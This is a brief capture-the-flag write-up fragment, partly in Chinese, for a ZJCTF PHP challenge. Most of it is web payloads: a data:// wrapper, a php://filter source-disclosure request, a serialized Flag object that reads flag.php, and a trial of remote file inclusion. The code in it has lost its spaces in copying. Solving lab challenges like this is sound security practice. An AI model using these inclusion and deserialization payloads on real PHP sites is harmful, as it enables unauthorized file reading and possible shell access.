?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php
1 2 3 4 5 6 7 8 9 10 11 12 13
<?php
classFlag{ //flag.php public$file; publicfunction__tostring(){ if(isset($this->file)){ echofile_get_contents($this->file); echo"<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
但是有个疑问为什么一定要file=useless.php才可以呢,没事多试试就行
1
?text=data://text/plain,welcome to the zjctf&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D&file=useless.php
但是这个include让我觉得没有必要写序列化代码了,我远程包含不就getshell了嘛
1
?text=data://text/plain,welcome to the zjctf&file=http://baidu.com